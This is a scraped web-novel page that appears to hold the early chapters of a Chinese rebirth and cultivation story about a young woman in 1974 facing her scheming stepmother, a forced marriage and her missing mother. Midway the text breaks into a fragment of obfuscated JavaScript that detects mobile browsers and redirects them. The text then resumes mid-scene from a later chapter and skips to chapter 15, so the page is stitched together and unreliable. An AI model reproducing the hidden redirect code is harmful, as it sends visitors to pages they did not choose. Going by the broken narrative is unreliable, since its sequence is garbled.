《我婆婆是香江包租婆[七零]》 1. 重生 《我婆婆是香江包租婆[七零]》全本免费阅读 一九七四年,春节刚过。 凌晨五点,运和县的天空灰蒙蒙的。 呵气成冰的温度,雨水一落地就冻上了。 一大片歪歪扭扭的枯藤老树后面,是县钢铁厂的职工楼。 一到四层都是普通的职工房,一室一户,一大家子挤成一团。 五楼则是干部房,两室或者三室一户。 托姥爷和妈妈的福,叶姗姗可以独享一间屋子。 这会儿她已经醒了,正抱着怀里的一团暖黄色的光发呆。 这不怪她反应迟钝,因为她上一秒还在飞升。 她是死后去的异界,被玄门道人救下,传道授业,收为关门弟子。 她也不负所望,进步神速,一旦渡过雷劫,便可以彻底摆脱肉.体凡胎,修成大罗金仙,成为师门继承人。 谁承想,一道紫金色的雷云罩下来,她便回来了。 缓了好一会儿,她才低头看了眼怀里趴窝的小兽,这是她的灵宠辟邪,居然跟着她一起回来了,也不知道主仆两个的修为还在不在。 她伸出手来,指向了冰封的窗户,运气暖化。 一道肉眼不可见的气浪缓缓荡漾过去,很快,窗外蒸腾起温热的水汽,不出一分钟,玻璃上凝结的大坨冰块便消融于无形。 呼,她不禁松了口气,修为还在,只是所剩不多,大概是她飞升前的一成左右。 虽然不足以帮她回到异界,但是让她在这个世界自保是足够了。 不过,光是自保还不够,她还得照顾辟邪,所以等她摆脱了目前的困境后,得赶紧想办法继续修炼,恢复到原来的六成以上就能帮助辟邪重塑肉.身。 倒也不难,只要她继续帮人消.灾除祸就行,因为她这一门,靠的是功德进阶。 不过七十年代的这片土地上,不允许搞那些玄之又玄的玩意儿。 她得蛰伏一段时间,看情况再说。 正筹谋来日,怀里的光团子动了动,好像在安慰她,不要怕,它还在陪着她。 叶姗姗是很欣慰的,真好,不离不弃的小家伙,有它在,她有底气多了,今后那些自己不好出面的事情,可以让辟邪去做。 不过这家伙一定是被雷劈惨了,只剩一缕暖黄色的胎光苟延残喘,她得找个容器帮它苟命。 起身来到窗前,她在楼后的树林里巡视一圈,视线落在一株被蛀空了主干的构树洞口,果然在那里看到了一只蜷缩的狗子。 记忆里那只拼死帮她咬住歹人裤管的狗子,瞬间鲜活了起来。 就它了吧。 它是她与后妈周旋到最后,帮助她成功逃脱魔窟的大功臣,虽然她最终倒在了人贩子的手下,可狗子对她的情意她永远不会忘。 那些糟心的往事,得从她的身世说起。 所有人都告诉她,她出生不到两个月,她妈妈就因公去世了。 小时候她不懂,大人说什么就信什么,可是长大后她渐渐意识到了不对。 最大的疑团有两个。 第一,她妈妈虽然死了,但找不到尸首,坟墓只修了个衣冠冢。 第二,她妈妈七七刚过,她爸牛进步就娶了个大着肚子的女人回来。 这两件事单拎出来都不算什么,结合在一起,那就很值得玩味了。 叶姗姗无数次找亲人打听,可是亲爸,姥爷,舅舅舅妈……每一个都含糊其辞。 她只能怀疑这里头另有隐情。 鉴于这一点,她一直怀揣着某种期待,期待着妈妈还活着,只是迫于某种苦衷,没办法回来跟她相认。 虽然她知道这样的希望很渺茫,但她还是卑微的渴望着,期待着。 所以她只肯叫马洁阿姨,她爸揍过她很多次,可她就是倔驴,死活不改口。 时间久了,只好默认了。 马洁觉得没面子,嘴上不说什么,心里却恨透了她。 然而马洁是个笑面虎,叶姗姗被她虚伪的嘴脸欺骗了很久,直到十三四岁进入青春期开了窍,她才渐渐意识到了不对。 同样的一件事,她做了就会被全楼的叔叔阿姨指责,可是同父异母的妹妹做了却会被他们找借口开脱。 她渐渐敛起锋芒,学会了沉默的观察,这才知道都是马洁在搞鬼。 这个女人实在恶毒,会故意捧杀她。 马洁总在同事面前夸叶姗姗是好孩子,不光孝顺懂事,还勤快能干。 再顺便骂一骂自己的孩子,说他们都是不省心的祸害,整天就知道躲懒。 然而每次别人路过家门口,看到的都是叶姗姗十指不沾阳春水地在看书,而她的妹妹则像个小丫鬟似的在任劳任怨地干活。 于是,整件事在他们眼里,就成了叶姗姗仗着厂长姥爷的庇护故意使唤妹妹,并把妹妹的功劳揽在自己身上,还厚颜无耻向长辈邀功。 这样的谣言不胫而走。 而她自己却毫不知情,毕竟谁也不会当着她的面议论。 十几年的时间积累下来,她的口碑自然臭不可闻,妹妹则是无辜的被她欺压的小可怜。 而马洁,则成了人人交口称赞的好后妈,明明叶姗姗那么过分,她却只会维护叶姗姗的名声,真是打着灯笼都找不到的好妈,亲妈都比不上的那种。 叶姗姗恶心到不行,一到成年就把名字改了,当做反抗与宣战。 她原本叫牛珊珊,这名字没什么过错。 可是马洁还带了个女儿过来,为了讨好二婚丈夫牛进步,特地让她跟前头男人生的女儿改了姓,叫牛琳琳。 至于她后来生的女儿,则叫做牛珍珍,给叶姗姗恶心吐了。 可惜她是未成年,改名字需要她老子同意,只能耗到了十八岁,连带着把王字旁也给改了。 在他老子眼里,偏旁其实没那么重要,可是姓氏比天大,见她自作主张随了母姓,牛进步当即炸毛,把她狠狠打了一顿。 事儿闹得很大,一整个职工楼的人都在院子里围观,可惜一个劝架的都没有,只有不断叫好的,说她这个白眼狼活该。 而马洁,则故意在劝架的时候“眩晕症”发作,倒在了大女儿牛琳琳怀里。 等叶姗姗被打得半条命都快没了的时候,她才醒过来扑到叶姗姗身上,上演一出慈母护女。 赢得称赞一片。 叶姗姗没死,但被打得不轻,马洁便猫哭耗子假慈悲地替她请了一年的伤假。 正好那会儿马洁的小女儿牛珍珍到了插队的年纪,马洁哪里舍得,便瞒着叶姗姗,把她的工作让牛珍珍顶上了。 说是暂时替叶姗姗占着坑,等她出院了会还给她的。 可是等叶姗姗回到厂里销假的时候,工作已经不是她的了。 这算盘打得很好,没了工作的女青年,除了去插队就只能嫁人。 谁承想,虽然叶姗姗的厂长姥爷已经去世不能继续保护她了,可她远嫁香江的大姨还是疼她的。 得知了她的处境,大姨立马联系内地的故交好友,动用一切关系,在国棉厂给她安排了工作。 姨妈当时还给了她另外一条路,那就是离开运和县,来香江嫁人。 有姨妈的保护,看谁还敢欺负她一个孤女。 可惜她总想着留在内地找妈妈,就把姨妈给拒绝了。 原以为她有了新工作就可以安安生生的过下去,抽空再查查妈妈的去向,这日子还是有盼头的。 可是国棉厂的刘厂长盯上了她。 这刘厂长的前妻死得早,留下了一对双胞胎儿子,大儿子是个傻子,腿还残了,二儿子倒是健健康康,仪表堂堂。 刘厂长不愁二儿子找不到老婆,便琢磨着用二儿子骗个女人回去给他大儿子做老婆。 正好马洁视她为眼中钉,两人一拍即合。 在她不知情的情况,用三百块钱的彩礼决定了她的归宿。 她就算亲妈失踪,姥爷去世,没了人撑腰,也不至于委屈自己去跟一个傻子过日子。 所以她选择了反抗。 她搬离了从小长大的钢铁厂职工楼,去自己的职工楼住,断绝了跟这边的关系。 可惜她那老子是个黑心肝的禽兽,居然诈死骗她回来奔丧,她恨透了这个老子,并不想理会,结果她后妈又骗她,说她老子的遗物里头有她妈妈失踪的线索。 这是她最渴望的东西, 2. 工作 《我婆婆是香江包租婆[七零]》全本免费阅读 马洁一直觉得叶姗姗挺好糊弄的,跟她那个愚蠢的妈妈一样好对付。 所以马洁这些年来的手段都没怎么变过。 在家里的时候,她会跟牛进步说,姗姗从小没了妈妈,怪可怜的,家务活让她姐姐妹妹去做就好。 牛进步并不关心这些,他只要下班回家有口热饭吃就行,谁做的不重要。 但是马洁愿意维持继母跟继女之间的和谐,他自然乐见其成。 时间久了,他也默认了叶姗姗在家只要看书学习就行,剩下的交给琳琳和珍珍就好,至于他的小儿子牛金宝,那可是他的命疙瘩,谁都不允许累着他的宝。 马洁也心疼儿子,所以回回都只是把两个亲生的女儿拉出来当枪使。 两个女儿有情绪,不愿意做。 她便给她们做思想工作:“妈这么做,还不是为了让她那个厂长姥爷高兴?只要咱们母女三个把这个祖宗伺候好了,那死老头子不得多给咱们一点好处吗?再说了,她妈妈的抚恤金都攥在妈手里呢,等你们大了还不都是给你们陪嫁用的,亏不了你们。你们权当是伺候财神婆了,听话,啊。” 牛琳琳毕竟是前头男人的孩子,拖油瓶来的,就算别人不敢当面议论,那眼神里多少也会透着点鄙视,所以她很自卑,心气儿没有妹妹高,很容易就接受了妈妈的安排。 牛珍珍却是牛进步亲闺女,自己老妈又是爸爸的现任老婆,她总觉得自己不该低叶姗姗一等,所以她很不情愿。 马洁便许诺她:“她那个死鬼妈的职位还给她留着呢,珍珍你听话,妈一定想办法把她赶走,把这肥缺留给你。你就当是先苦后甜了,妈在别的方面补偿你,你要学着卧薪尝胆啊我的乖宝。” 牛珍珍一想也对,那叶晚晴留下的可是钢铁厂会计的职位,多少人削尖了脑袋都当不上呢。 就因为给她报的因公牺牲,所以这职位就预留给了叶姗姗,为此,钢铁厂后来补招的会计是个年纪大的老光棍儿,等他到了退休的年纪,叶姗姗也快成年了,所以家里把叶姗姗的年龄报大了一岁,正好能衔接上。 当然,这也是有条件的,需要叶姗姗读个会计类的中专,专业水平合格,到时候老会计再带她一段时间,就可以正式上岗了。 这个职位看着是个肥缺,其实很累,担的责任也大,对个人能力要求很高,牛珍珍懒得动脑子,不情愿做这么辛苦的工作,便跟马洁商量着,实在不行的话,到时候可以找个清闲的工作,跟人家对换,只要把两个工种的差价补上不就行了。 总之办法是人想出来的,先哄好叶姗姗是正事。 想通这一点,牛珍珍卖力地跟马洁打起了配合。 在外面的时候,牛珍珍总是一副谨小慎微的样子,马洁动辄指责她好吃懒做,远不如她姗姗姐姐勤快懂事。 每到这时,她便咬紧嘴唇,不安的绞着衣服下摆,泫然欲泣地盯着脚下的地面,一副有苦难言的被压迫的小可怜样。 楼里的同事都是成年人,自然看出来孩子的委屈,便时不时凑到五楼去看一眼。 他们倒是不信了,这个姗姗看着细皮嫩肉的,手指头一点老茧都没有,她真的会干活儿? 这一看可不得了,明明是珍珍做的饭,却说是姗姗做的,明明是琳琳洗的衣服,却也是姗姗的功劳。 看来他们职工楼里出了个作威作福的姑奶奶了。 可是大家敢怒不敢言,谁让人家姥爷是厂长。 这个计谋实在是一本万利,马洁也确实享尽了好处,这不,去年叶姗姗赌气改名改姓,她便故意帮着叶姗姗说话,把牛进步的火气激到了不可收拾的地步。 一顿毒打,工作便成了她女儿珍珍的了。 她又买通了几个爱嚼舌根的,把事情颠倒黑白的在厂里传播,一个劲的夸大叶姗姗的翻脸无情和不孝,气得老厂长心脏病发作去医院抢救。 这不,没救回来。 一箭三雕了简直。 年前叶姗姗回去销假的时候闹了一场,可惜她姥爷死了,人走茶凉,新来的厂长不买她的账,让她自谋出路去,实在不行可以嫁人嘛。 于是马洁抓紧机会,给叶姗姗找了个婆家。 反正马上要催知青下乡了,依着叶姗姗娇生惯养的性子,她能吃得了这个苦? 十拿九稳的事情,马洁从来没有怀疑自己会马失前蹄。 这会儿她愣在门口,直到叶姗姗回了自己房间,她才冷着脸把门关上了。 不行,她得想想别的办法。 她小儿子金宝十六了,正好到了下乡的年纪,她可舍不得。 她还指望这三百块钱打点关系,给金宝安排个工作呢。 而叶姗姗的工作已经被她卖给了别人,以两百块的差价置换了食品厂的质检员,给了珍珍。 她没得选了,只能逼叶姗姗嫁人。 躺在床上的时候,身侧的牛进步翻了个身,老旧的木板床发出吱呀的抱怨声。 马洁目光炯炯的盯着屋顶,琢磨到底该怎么办。 没时间磨蹭了,知青办都催了多少次了,要他们家出个人下乡。 要是金宝再安顿不下来,就只能去农村吃苦了。 实在不行,就把叶姗姗打晕,直接让刘家的儿子把生米煮成熟饭。 她就不信了,到时候叶姗姗还能翻出什么浪花来! 对,就这么办! * 叶姗姗不困。 她在跟大黄聊天。 细算起来,这是她三世为人了,可是不管隔了多久,大黄给她的感动都是炽热的,暖心的。 她抱着大黄,一人一狗呜呜的对话—— “主人,你刚进来的时候,你那个后妈的眼神好吓人,好像要吃了你一样。” “不怕,兵来将挡水来土掩。” “昂?什么意思?” “她敢吃我我就抢在她前头吃了她。” “主人真棒!” “大黄,问你个事儿。” “昂!” “你家小花不是去了城东的食品厂做看门狗吗,你最近见过她吗?” “见过哒!小花当妈妈了,生了一个独苗苗大黑子,这两天总喜欢堵在门口吓唬女员工。” “是个小公崽?” “是哒!它爹是狼狗,块头好 3. 记过 《我婆婆是香江包租婆[七零]》全本免费阅读 叶姗姗努力回忆了一下上上辈子的事。 想捋一捋可能提供线索的知情人士。 在她妈妈刚失踪的那两年,舅舅经常请假去出事的地方调查。 后来因为舅妈受不了跟他聚少离多,提出了离婚,舅舅没办法,只得放弃了寻找,也答应了舅妈不再跟叶姗姗这边来往,这才保住了婚姻。 不过这事惹得姥爷非常不满。 试想,一个做舅舅的,怎么可以听信枕边风的挑唆,跟外甥女老死不相往来呢,这像话吗? 可是儿大不由爹,姥爷骂了好几次,没用。 这些年来,叶姗姗已经被迫断联了这门亲戚,虽然同城,但毫无往来。 不过她表哥人不错,偶尔在街上遇到,他不敢当着他爸妈的面跟叶姗姗说话,但他会故意找个拉肚子之类的借口跟他爸妈暂时分开,绕回来塞把水果糖给叶姗姗吃。 叶姗姗写下这三人的名字,重点把舅舅的名字圈了起来,她推测舅舅肯定知道些什么。 舅妈估计也有相关的线索。 要不然为什么连话都不跟叶姗姗说了,明明舅舅都答应不再去找妈妈了,他已经回来好好过日子了呀。 说不定是被谁威胁了。 她真是傻的,以前的她光顾着生舅妈的气了,现在倒是从舅妈不合理的行为当中悟到了些不一样的东西。 总之,她得尽快拜访一下舅舅一家,但是不能大张旗鼓的出现,会引起舅舅舅妈的警觉。 好在大黄的二儿子小白就在舅舅家附近,等会让大黄去通知小白一声,让小白留意一下舅舅一家的言行举止。 另外,妈妈还有一个至交好友叫魏明漪,魏阿姨的丈夫是机关大院的,每年妈妈忌日,她都会去墓碑前凭吊。 不过机关大院那边没有大黄的孩子,就不搞打探消息这一套了,回头她直接上门拜访就是。 除此之外,可能妈妈曾经的同事能知道点什么,可是他们都在妈妈出事之后不久进行了人员调动。 叶姗姗并不清楚他们去了哪里。 只能先从身边的人入手。 说到身边的人……其实姥爷应该是最有机会接触到当年真相的人了,可是叶姗姗问过他,他说只是意外,让她不要多心。 如今姥爷已经去世了,就算他老人家藏着什么秘密,她也不得而知。 叹了口气,叶姗姗把写满了名字的工作簿倒扣在桌上。 她想大黄了。 她好孤独。 哪怕牛家一屋子的人,但她还是孤独得近乎窒息。 她在这个家是多余的。 人人都算计她,防着她,人人都虚情假意的当面讨好她,背后污蔑她。 她就像是漂在水面的浮萍,没有根,没有脚踏实地的感觉。 有种虚无的不真实感。 谁让她没有妈妈。 那是给予了她生命的人。 她与妈妈之间唯一的联系,就只剩她这个人,以及她十九年来割舍不下的执念。 她好羡慕牛珍珍,可以肆无忌惮的跟马洁吵架,撒娇,撒泼。 也羡慕牛琳琳,虽然牛进步不是她亲老子,对她却比对叶姗姗亲热多了。 牛琳琳在供销社的工作,还是牛进步求姥爷帮忙打通的关系,那时候姥爷还没有去世,指望牛进步能有点良心,可以对叶姗姗好点,所以忍着隔应帮了忙。 现在想想,也许姥爷就是太投鼠忌器了,不想让外孙女没了妈妈又没了爸爸,所以每次她打听妈妈的事情时,姥爷都用同样的回答结束话题。 简短,不拖泥带水,让叶姗姗一度以为,妈妈的失踪,真的只是意外。 可是真的是这样吗? 未必,看马洁今天的反应就知道了。 她翻来覆去地思考,抓耳挠腮地梳理关系。 最终还是决定从舅舅家作为突破口。 * 叶姗姗妈妈留下的是三间房。 按照她的职位标准,其实她应该分两间,不过她曾经帮厂里解决了一次锅炉事故,挽回了十几个锅炉工人的生命,所以组织上给她多分了一间做嘉奖。 可以毫不夸张的说,她妈妈担得起女中豪杰的名头。 可惜天不假年。 叶姗姗作为她唯一的孩子,跟牛进步一起继承了这套房子。 为了讨好老丈人,牛进步听从马洁的吩咐,让叶姗姗一人占了一间。 他们五口人挤另外两间,连带着一些杂七杂八的东西,简直把每一个角落都摆满了。 这会儿他们五个已经起来了,正热热闹闹的吃早饭呢。 牛珍珍拿起筷子,指了指紧闭的房门,问要不要喊叶姗姗。 要是搁平时,马洁肯定是要把戏做足的,可是她今年心不在焉的,没有回应。 牛珍珍不敢自作主张,便只管自己肚子。 牛进步也想不到叶姗姗这个女儿,反正都是成年人了,吃个饭还要人伺候不成。 不过他听说了一件事儿,叮嘱道:“珍珍啊,你们厂里最近抓偷面包的抓得很严吧,听说厂长还弄了只黑狗在门口一个一个的闻味儿?有这回事吗?” “就是呢,我们厂长可奸了,居然想出来这么龌龊的法子。他也不想想,在车间里做加工,怎么可能身上没有味道,他这不是胡闹吗!”牛珍珍也喜欢偷吃厂里的产品,反正是公家的,不吃白不吃。 最近厂里研发了一款面包,加了葡萄干和杨梅酱,又酸又甜,特别开胃。 牛珍珍每天都会从质检车间偷几个回来。 以前的产品因为不值什么钱,而且厂里没几个手脚干净的,所以厂长和车间主任一般都是睁只眼闭只眼。 但是这次的杨梅葡萄吐司面包不行,那杨梅酱很贵,葡萄干又是从大西北运过来的,运输成本不低,所以厂里三令五申,新的面包不允许任何人偷吃。 可是,上有政策,下有对策。 车间工人还是想出了偷吃的办法——不偷面包了,直接在车间吃果酱和葡萄干。 牛珍珍在质检车间,面对的都是成品面包,自然没有这样的机会,所以她还是一整个的偷。 偷回去给姐姐弟弟一人一个,再留一个给自己,当第二天的早饭吃。 因为叶姗姗跟她不是一个妈生的,所以她每次偷回去都没有叶姗姗的份儿。 她也聪明,都是等叶姗姗回房了才拿出来。 她偷,别人也偷,彼此心照不宣,贪婪没有止尽。 很快,厂长察觉到依然有人顶风作案,便弄了只黑狗子在门口堵人,黑狗闻过面包的味儿,专挑闻起来酸酸甜甜的女人吼叫。 昨天一天就给十七个女职工记了大过。 至于男人,块头太大,大黑子欺软怕硬,不敢吼。 不过牛珍珍自有妙计,她上班之前会去对面街上的供销社转悠一圈,故意在肉摊面前挑挑拣拣,这里摸摸,那里闻闻。 她藏了一团卫生纸在袖子里,故意沾些油水在上面。 所以每次下班时到了厂门口,她就把卫生纸扔出去引开大黑子。 这会儿她有恃无恐的,安慰道:“不过爸你放心,我自有妙计,狗子再叫也不可能挂我的相。” “我听说抓的那十七个没有一个冤枉的,估计气味有什么区别,我看你还是别偷了!给,你昨晚带回来的几个我都让你妈拿出来了,你带回厂里去吧。最近别动歪心思,知青办天天催,你要是被人抓到错处就得撵你去插队了。”牛进步不想惹祸上身。 他想争一争钢铁厂的车间主任,这时候要是家属出了作风问题,会影响他前途。 要不然,他才不会过问牛珍珍偷面包的事儿。 4. 开除(上) 《我婆婆是香江包租婆[七零]》全本免费阅读 太阳散尽余晖,天空拉上帷幕。 寒冷的北风贴着脸皮刮过,勾出粉色围巾下的一缕青丝,却不肯离去,呜呜的在巷子里打转,聒噪不已。 早上着急出来,叶姗姗穿得很少,幸好还有点修为,可以抵御严寒。 隔着一条街道的距离,她并不能准确判舅舅脸上的表情,只能耐心等着。 很快,大黄出来了,急呼呼地扑过来,抱住了叶姗姗的裤腿:“主人,你舅舅看到纸条有点激动,还骂人啦!” “骂谁?”叶姗姗俯身,摸摸小家伙甩得飞起的尾巴,把它抱起来往回走。 大黄歪着脑袋,汇报得还挺仔细:“不知道!他就骂了一句‘他娘的’,进门后问了声屋里的人,有没有人来敲门,还问是不是姗姗来过。屋里的人说没有啊,没见过姗姗,还跑到门口一起看纸条。你舅舅怀疑纸条是你写的,那人说不会,你的字很好看,纸条上的字太丑了肯定不是你。” 叶姗姗听明白了,屋里跑出来的应该是表哥,表哥人不错,上学的时候别人欺负她,他会帮她揍回去。 如今两人几年没说话了,可表哥还是向着她的。 叶姗姗心里涌出一股暖流,欣慰地搓了搓大黄的脑袋:“我舅脸色怎么样?” “很吓人哪!他原本提着红糖哼着京剧段子上楼,看到纸条立马笑不出来了,还骂人!”大黄不喜欢脸色阴沉的老男人,告状的时候明显带着嫌弃。 叶姗姗有底了,舅舅绝对知道当年的事情,她得找个合适的场合,把他引出来问问。 正好制糖厂附近有一所废弃的高中,回头让小白先去踩个点,没有问题的话就定那儿了。 今天就算了,天空跟泼了墨汁一样,再不回去就要露宿街头了。 半路经过国棉厂职工楼外,她慢下了脚步,前尘往事纷至沓来。 人人都知道,运和县待遇最好的三个单位,分别是钢铁厂,食品厂和国棉厂,其中最叫人眼馋的还得是国棉厂。 毕竟这年头搞的是计划经济,什么都要票。 而最让老百姓惦记的,只有吃和穿,至于钢铁,那跟他们也没多大关系。 老百姓要过日子,少吃两口可以抗一抗,可没了衣服穿可不行。 计划给的量不够,只能削尖了脑袋托关系到厂里弄点不上称的边角料。 比如碎布头,拼拼凑凑就是一件衣服,比如保管不当的破损布料,补了漏洞就是体面的新料子。 所以国棉厂的工作是最抢手的。 正是因为这样,姨妈在得知她没了工作之后,给她找的是国棉厂的职位。 不过国棉厂会计岗位上有人,还是机关大院的某位亲戚,所以姨妈使尽了浑身解数,给她安排的是质检员的活儿。 这个思路与马洁不谋而合,一个产品合不合格,当然取决于质检员。 不合格的要淘汰下来,至于淘汰之后去了哪里,有的厂里有明确的规定,有的未必。 而且,规定是死的,人是活的。 只要有点脑子的人,都能弄点东西出来肥了自己的钱包。 所以姨妈是真的疼她。 可惜正是这份疼爱,让刘厂长盯上她了。 要不然,他何至于看上她这个爹不疼后妈不爱的孩子。 当然,他那傻子儿子自然也不是良配,可是他是厂长,自然觉得自己儿子是天底下最好的。 站在他的角度来看,这桩婚事还是叶姗姗高攀了呢。 所以叶姗姗爽约不去见媒人和他儿子,他肯定会生气的。 叶姗姗也没想讨好他,今天在医院待了一天,连国棉厂的班都没去上。 没办法,她总得给自己的爽约找个借口,她不能再像以前那样横冲直撞的对着干,她要用计谋。 她加快了脚步,快速往回走去,没有注意到身后五楼的走廊上,一双眼睛正痴缠着她的背影,不肯收回。 男人身材高大,一米八左右,浓眉阔眼国字脸,山根挺拔,耳垂肥大,在玄门之人看来,是个有福之人。 这个年代的女性最爱这种一身正气的周正长相,所以他并不缺追求者。 可他看上了叶姗姗。 身后响起开饭的声音,刘双伟却没有回应,他的脚不听使唤,催促着他下楼,追了出去。 刘厂长等不到二儿子进屋吃饭,索性不等了。 他拿起筷子,看着傻乎乎的大儿子,发愁。 这个儿子跟二儿子长得一模一样,唯一的区别是刘双强长着一双断眉,一左一右,拦腰裂开。 二十几年前还没有破四旧,加上这孩子一出生就死了妈,刘厂长赶紧找人给他算了算。 说他这个儿子命里无火,星辰暗淡,必须找个天干和纳音全部属火,且火势极旺的女人才能救他,要不然刘双强必然活不过三十岁。 好在刘双强才二十三岁,还来得及。 然而刘厂长还是很生气,毕竟他是个极要面子的人,像叶姗姗这么不识抬举的女人他还是第一次见。 非得给叶姗姗一点教训才好。 直接开除肯定不行,叶姗姗的姨妈叶朝霞是个狠人,连机关干部都请得动,他可不敢做得太过。 只能把叶姗姗调去车间,干一个礼拜的辛苦活,小惩大诫。 对,就这样,一个礼拜,时间长了他没办法跟叶朝霞交代。 * 叶姗姗走到半路,听到身后有人喊她。 路灯昏黄,过了九点就会熄灭,她不想耽误时间,没理。 刘双伟只好一溜小跑追了上来。 “叶姗姗!你等等,我送你回去,你一个姑娘家家的,怎么敢一个人走夜路呢?”刘双伟喘着气,可算是在前面路口追上了叶姗姗。 叶姗姗烦他。 上上辈子相亲的时候,就是刘双伟跟她相的。 他那个老子特别恶毒,用全须全尾的健康儿子骗她相亲,打算等结婚的时候再掉包,让她跟那个傻子刘双强圆房。 这个计划很隐蔽,外人根本不知道。 可惜刘厂长算漏了他的小儿子,也算漏了他的二婚老婆。 那对母子根本不希望刘双强活着,巴不得他早点死掉才好。 于是他们把消息透露给了叶姗姗的表哥,叶姗姗正是因为表哥的提醒才知道自己被算计了,进而与家里决裂,搬去了国棉厂职工楼。 她倒不怕去了国棉厂职工楼被刘厂长报复,毕竟刘厂长要注意形象的,不能强抢民女。 可惜马洁太狡猾了,居然拿她妈妈的线索诓她回去。 要不然,她何至于在逃跑的路上被人拐卖到山沟沟里,又因为反抗被打死。 死的那天,距离她二十岁生日只差一天。 她的怨气很大,以至于死后不能瞑目,这才有了异界之旅。 如今的她,再也不是那个冲动的二愣子了。 她会谋定而后动,伤害过她的,一个也别想跑。 至于这个刘双伟,她也不会轻饶了去。 如果他不同意,这场交易就不会发生,他虽然不见得是主谋,却要为她的死承担不可推卸的责任。 她怎么可能要这种人送她回去? 她强忍着恶心,挤出一脸笑:“是你呀,我看到一窝小狗,冻得快不行了,正愁找不到布料子帮它们垫窝呢,你能帮我找点旧衣服过来吗?” “在哪儿呢?”刘双伟很是开心,自己看上的姑娘要自己帮忙,他当然乐意得很。 至于她白天爽约的事,他并不生气,也不想问,他不想给她任何的压力。 叶姗姗还以为他要质问相亲爽约的事情,既然他不提,那就再好不过了。 她指了指前头的路口:“那边,你快回去找啊,我在那棵榕树下等你。” 刘双伟顺着她指的方向看去,那里有灯,而且后面就是机械厂的厂区,这会儿夜班工人正在灯火通明的赶工。 挺好,没什么危险。 他赶紧回去拿衣服:“那你别乱跑啊,大晚上的,容易遇到坏人,我马上就来。” 叶姗姗笑着摆摆手:“知道了。” 知道个屁,你不就是最坏的坏人之一吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11851163|126267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冻得半张脸都麻了。 她不想回去,那不是家,是葬送了她妈妈的地狱。 可她不得不回去,她要支开其他人,就算把那房子翻个底朝天,也要找到她妈妈的遗物。 不管是钱财还是其他的身外物,只要是她妈妈的,一样都不会留给这群禽兽! 走到半路,她遇上了被民警押出来的牛进步。 大雪封路,警车不好开,民警是徒步回去的。 牛进步这会儿已经冷静下来了,他见叶姗姗是从机关大院那个方向过来的,瞬间看到了救星,哭着喊道:“姗姗,姗姗我的宝贝闺女,救救爸爸,爸爸不是故意砍人的,是你马阿姨不检点背着爸爸偷吃,爸爸气头上才做了糊涂事,姗姗,你去找你魏阿姨帮帮忙,姗姗,一定要去啊!” 叶姗姗没有说话,眼前的这个男人,从来没有像现在这么陌生。 哪怕去年他揍得她半死,她也没有这么恶心过。 她就这么站在风雪里,眼含冰霜,目送他走向不归路。 她不会救他的,她巴不得他永远不得超生。 这个禽兽,毁了她的妈妈,居然还可以无动于衷地跟马洁生儿育女,他就不配活在这个世上! 可惜她修炼的这一门不能制造杀孽,要不然,要不然…… 她恨自己,没有勇气手刃仇人,只能寄希望于公安部门,将这个恶魔绳之以法。 对母亲的思念随着北风的呼号越发强烈,她振作起来,加速往回赶去。 刚到职工院门口,就看到刘双伟气喘吁吁地赶了过来,手里撑着雨伞,很是关切地问她:“姗姗,听说你家里出了大事,你没事吧?牛叔没砍到你吧?” 叶姗姗抬头看着他,这个上上辈子害惨了她的男人,脸上满是真诚。 现在她知道,他是无辜的,可是她没办法将他跟刘家人一分为二的看待。 她就是这么一个恨屋及乌的人。 她推开了刘双伟的伞,给他出了个难题:“你愿意帮我收集证据送我爸去坐牢吗?如果你愿意,我就嫁给你。” 她当然不会嫁给他,只想他知难而退。 刘双伟怔怔的看着她,半天说不出一个字来,这怎么可以呢,如果他跟叶姗姗真的成了,那牛进步就是他岳丈啊,这是万万不行的。 他的犹豫正是叶姗姗想要的,她一把将他搡开:“走开,别耽误我正事。” * 香江,李太太正在邵家二房做客。 她儿子今天在入境事务处门口见到了邵育良,想问邵育良去做什么,邵育良却一个字也不肯透露。 李太太合理怀疑,邵育良肯定是要去接那个乡下妹过来。 真要是这样的话,那她侄女儿回来后面子往那儿搁? 她只能来找二太太帮忙。 二太太却有自己的盘算,嘴上答应去找邵老先生保媒,等李太太一走,便给她娘家侄女儿打了个电话,让她侄女儿赶紧从美国回来,别念那个破书了,先把大房少奶奶的位置抢到手再说。 同一时间,邵育恭沉默地递了一张便条给邵育良,上面写满了他要邵育良做的事情。 邵育良接过来一看,很是意外:“你怎么知道二房要破坏你的婚事?还要我走之前给他们制造点麻烦拖住他们?” 邵育恭不说话,邵育良只得跟他保证:“你放心,我还要等回乡证,来得及,我这就去做。” 邵育良走后,汤医生把门掩上,好奇道:“你不肯告诉你二哥,那你能告诉我吗?你怎么知道李太太去了二房那边的?” 邵育恭还是不说话,翻了个身,睡觉去了。 15. 亲赴 在邵育良的记忆里,三弟邵育恭聪慧伶俐,是名副其实的神童。 他三岁写字,五岁吟诗,七岁的时候,一手钢琴已经弹得出神入化,还会帮着大妈核账,心算能力一流,连他这个做哥哥的都自愧不如。 大妈在三弟身上寄予了厚望,除了每个月固定的收租日,其他时候都在陪伴三弟学习。 然而这一切,在三弟七岁的生日宴上戛然而止了。 小叔精挑细选,送了三弟一匹设特兰矮马,这种产自英国设特兰群岛的品种小巧玲珑,天资聪颖,性格也是出了名的温驯,给小孩做生日礼物最合适不过。 他至今都记得,三弟骑上去的时候,那鲜衣怒马的烂漫模样。 然后,毫无预兆的,矮马发狂了,驮着他年幼的三弟,狂奔向远处的湖泊。 三弟聪明,知道不能从飞奔的马儿身上跳下来,否则高速摔落在地,非死即残。 他只能紧紧地抱着马脖子,试图让小马冷静下来,可是不行,即便是最老练的驯马师,也未必能降服一匹发了狂的疯马。 何况一个七岁的孩子。 三弟就这么掉进了水里,脚上的马靴不知为何后跟断裂,让三弟的整个脚掌卡在了镫子里挣脱不出,等到大家七手八脚把三弟救上来的时候,三弟已经断气了。 还好家庭医生就在附近。 只是,三弟虽然捡回一条命,从那之后却成了药不离口的病秧子。 大妈请的各类家庭教师,全部清退,什么乐器小马文房四宝,一个都不要了。 